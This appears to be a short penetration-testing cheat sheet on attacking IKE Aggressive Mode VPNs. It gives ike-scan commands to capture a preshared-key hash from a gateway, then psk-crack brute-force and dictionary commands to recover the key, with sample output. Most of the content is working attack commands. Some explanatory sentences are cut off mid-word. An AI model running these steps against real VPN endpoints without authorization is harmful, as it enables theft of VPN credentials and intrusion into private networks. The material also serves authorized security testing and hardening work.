IKEScan

Aggressive Mode VPN -- IKE-Scan, PSK-Crack

In IKE Aggressive mode the authentication hash based on a preshared key (PSK) is transmitted as response to the initial

This attack only works in IKE aggressive mode because in IKE Main Mode the hash is already encrypted. Based on such fac

It looks like this:

```
$ ike-scan 192.168.207.134
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)

192.168.207.134 Notify message 14 (NO-PROPOSAL-CHOSEN) HDR=(CKY-R=f320d682d5c73797)
Ending ike-scan 1.9: 1 hosts scanned in 0.096 seconds (10.37 hosts/sec).
0 returned handshake; 1 returned notify
```

```
$ sudo ike-scan -A 192.168.207.134
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ikescan/)

192.168.207.134 Aggressive Mode Handshake returned HDR=(CKY-R=f320d6XXXXXXXX) SA=(Enc=3DES Hash=MD5 Group=2:modp1024 Au
```

To save with some output:

```
$ sudo ike-scan -A 192.168.207.134 --id=myid -P192-168-207-134key
```

Once you have you psk file to crack you're stuck with two options psk-crack and cain

----

Brute force:

```
$psk-crack -b 5 192-168-207-134key
Running in brute-force cracking mode
Brute force with 36 chars up to length 5 will take up to 60466176 iterations

no match found for MD5 hash 5c178d[SNIP]
Ending psk-crack: 60466176 iterations in 138.019 seconds (438099.56 iterations/sec)
```

Default is charset is "0123456789abcdefghijklmnopqrstuvwxyz" can be changed with --charset=

```
$ psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
Running in brute-force cracking modde
Brute force with 63 chars up to length 5 will take up to 992436543 iterations
```

Dictionary attack:

```
$psk-crack -d /path/to/dictionary 192-168-207-134key
Running in dictionary cracking mode

no match found for MD5 hash 5c178d[SNIP]
Ending psk-crack: 14344876 iterations in 33.400 seconds (429483.14 iterations/sec)
```

References: http://carnal0wnage.attackresearch.com/2011/12/aggressive-mode-vpn-ike-scan-psk-crack.html